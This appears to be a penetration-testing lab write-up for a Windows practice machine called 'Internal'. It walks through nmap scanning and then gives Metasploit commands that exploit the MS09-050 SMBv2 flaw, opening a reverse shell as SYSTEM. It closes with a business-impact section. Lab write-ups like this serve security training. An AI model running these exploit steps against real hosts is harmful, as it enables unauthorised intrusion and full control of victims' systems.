Internal

Details

• OS: Windows
• Difficulty: Easy
• IP Address: 192.168.208.40
• Author: AETH3RON

Overview

Internal is a Windows machine susceptible to a critical legacy vulnerability in the SMBv2 protocol. By enumerating exposed services, we identify a specific flaw in how the server handles SMB negotiation (MS09-050). Exploiting this vulnerability allows for immediate remote code execution as NT AUTHORITY\SYSTEM, granting full control without the need for prior credentials or privilege escalation.

Enumeration

Nmap

We begin by performing a basic SYN scan to identify open ports.

nmap -Pn -sS -sV -p- 192.168.208.40 -oN nmap-basic

Next, we run a targeted scan on the discovered ports to gather more detailed information about the services and the operating system versions.

nmap -Pn -sS -sC -p53,135,139,445,3389,5357 192.168.208.40 -oN nmap-common

The output shows legacy Windows ports, suggesting an older operating system. To confirm potential security flaws, we run Nmap’s vulnerability scripts against the SMB port (445).

nmap -p445 --script vuln 192.168.208.40 -oN nmap-vuln

Foothold

The vulnerability scan indicates that the target is susceptible to MS09-050 (CVE-2009-3103).

This vulnerability resides in the SMBv2 protocol driver (srv2.sys). It is caused by an out-of-bounds array index error that occurs when the server handles a specially crafted SMB2_NEGOTIATE packet. An attacker can trigger this flaw to corrupt memory and execute arbitrary code with kernel privileges.

To exploit this, we use the corresponding Metasploit module: windows/smb/ms09_050_smb2_negotiate_func_index.

use windows/smb/ms09_050_smb2_negotiate_func_index
set RHOSTS 192.168.208.40
set LHOST tun0
run

The exploit works by sending the malformed negotiation packet. After a few seconds, the server processes the request, triggers the vulnerability, and sends back a reverse connection.

We verify our access by spawning a shell and checking the current user.

shell
whoami

As confirmed above, we have successfully gained a shell as NT AUTHORITY\SYSTEM, granting us complete control over the machine. No further privilege escalation is required.

Business Impact

This machine highlights the catastrophic risk of maintaining legacy Windows systems without current security patches. The MS09-050 vulnerability in SMBv2 allows unauthenticated remote code execution as SYSTEM with zero user interaction. In enterprise environments where legacy systems persist due to compatibility requirements, a single unpatched host can serve as an entry point for ransomware deployment, lateral movement across the network, or complete domain compromise. The lack of any authentication barrier makes this vulnerability particularly dangerous in flat network architectures.

References

• MS09-050 (CVE-2009-3103):
  • https://www.exploit-db.com/exploits/40280
• Microsoft Security Bulletin MS09-050:
  • https://learn.microsoft.com/en-us/security-updates/securitybulletins/2009/ms09-050